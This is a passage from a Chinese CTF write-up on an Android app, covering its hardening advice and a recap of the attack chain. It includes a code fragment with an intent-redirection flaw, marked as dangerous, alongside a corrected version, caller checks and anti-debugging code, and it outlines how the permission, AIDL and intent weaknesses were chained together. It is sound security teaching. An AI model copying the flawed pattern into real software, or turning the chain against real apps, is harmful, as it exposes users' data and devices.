String className = intent.getStringExtra("target");
Intent i = new Intent();
i.setClassName(this, className);  // 危险!

// 正确示例
String action = intent.getStringExtra("action");
Intent i = null;
switch(action) {
    case "SAFE_ACTION_1":
        i = new Intent(this, SafeActivity.class);
        break;
    default:
        throw new IllegalArgumentException();
}
  1. 验证Intent来源:

@Override
protected void onCreate(Bundle savedInstanceState) {
    if(!isValidCaller()) {
        finish();
        return;
    }
    // 正常处理
}

9.3 数据保护

  1. 敏感数据加密存储:

    • 使用Android Keystore

    • 密钥不要硬编码

  2. AIDL接口最小化:

    • 只暴露必要的方法

    • 返回数据前验证调用者权限

  3. 网络传输加密:

    • 使用HTTPS

    • 实现证书锁定(Certificate Pinning)

9.4 SO文件保护

  1. 使用商业加固:

    • 爱加密、梆梆、娜迦等

  2. 调用者验证:

bool verify_caller(JNIEnv* env, jobject context) {
    jclass ctx_class = (*env)->GetObjectClass(env, context);
    jmethodID getPkg = (*env)->GetMethodID(env, ctx_class,
        "getPackageName", "()Ljava/lang/String;");
    jstring pkgName = (*env)->CallObjectMethod(env, context, getPkg);

    const char* pkg = (*env)->GetStringUTFChars(env, pkgName, NULL);
    bool valid = strcmp(pkg, "com.example.trustedapp") == 0;
    (*env)->ReleaseStringUTFChars(env, pkgName, pkg);

    return valid;
}
  1. 反调试机制:

// 检测TracerPid
bool is_debugged() {
    char buf[1024];
    FILE* fp = fopen("/proc/self/status", "r");
    while(fgets(buf, sizeof(buf), fp)) {
        if(strncmp(buf, "TracerPid:", 10) == 0) {
            int pid = atoi(buf + 10);
            fclose(fp);
            return pid != 0;
        }
    }
    fclose(fp);
    return false;
}

十、总结与思考

10.1 漏洞链回顾

这道CTF题目构建了一个完整的Android安全漏洞利用链:

权限保护不当(normal级别)
    +
AIDL接口暴露(CoreService)
    +
Intent重定向漏洞(MiscService)
    +
组件未导出但可间接调用(WebActivity)
    =
完整攻击链

10.2 关键技术点

  1. 组件安全:

    • 导出配置的重要性

    • 权限保护级别的选择

    • 组件间调用的验证

  2. Intent安全:

    • Intent重定向漏洞的危害

    • 序列化对象的传递

    • 参数验证的必要性

  3. IPC安全:

    • AIDL接口的安全风险

    • Binder调用者验证

    • 跨进程数据传递

  4. 逆向技术:

    • APK反编译流程

    • SO加固识别

    • JNI调用分析

10.3 实战价值

本题目具有很高的实战价值:

  1. 真实漏洞模拟:

    • Intent重定向在实际应用中广泛存在

    • normal权限保护也是常见的配置错误

  2. 多技术融合:

    • Java层逆向

    • Native层分析

    • 网络协议理解

    • 加密算法应用

  3. 攻防对抗:

    • SO加固 vs 运行时利用

    • 调用者检测 vs AIDL绕过

    • 组件保护 vs Intent重定向

10.4 延伸学习

建议进一步学习:

  1. Android安全机制:

    • SELinux for Android

    • 应用沙箱机制

    • 权限模型演进

  2. 逆向工程:

    • ARM汇编语言

    • IDA Pro高级用法

    • Frida脚本编写

  3. 漏洞挖掘:

    • Fuzzing技术

    • 静态代码分析

    • 动态污点追踪

  4. 加固与对抗:

    • VMP虚拟化保护

    • 代码混淆技术

    • 反调试高级技巧

十一、参考资源

11.1 官方文档

  • Android开发者文档:https://developer.android.com

  • Android Security Overview:https://source.android.com/security

11.2 工具下载

  • APKTool:https://ibotpeaches.github.io/Apktool/

  • JADX:https://github.com/skylot/jadx

  • Frida:https://frida.re

  • IDA Pro:https://www.hex-rays.com

11.3 学习资源

  • OWASP Mobile Security Testing Guide

  • Android应用安全防护和渗透测试

  • Drozer:Android安全评估框架


本文通过详细分析一道Android逆向CTF题目,展示了从APK反编译到漏洞利用的完整过程。希望读者能够从中学习到Android组件安全、Intent处理、AIDL接口保护等关键知识点,并在实际开发中避免类似的安全问题。

安全研究的目的是为了构建更安全的系统,请读者遵守法律法规,仅在授权范围内进行安全测试。


文章来源: https://www.freebuf.com/articles/others-articles/459695.html
如有侵权请联系:admin#unsafe.sh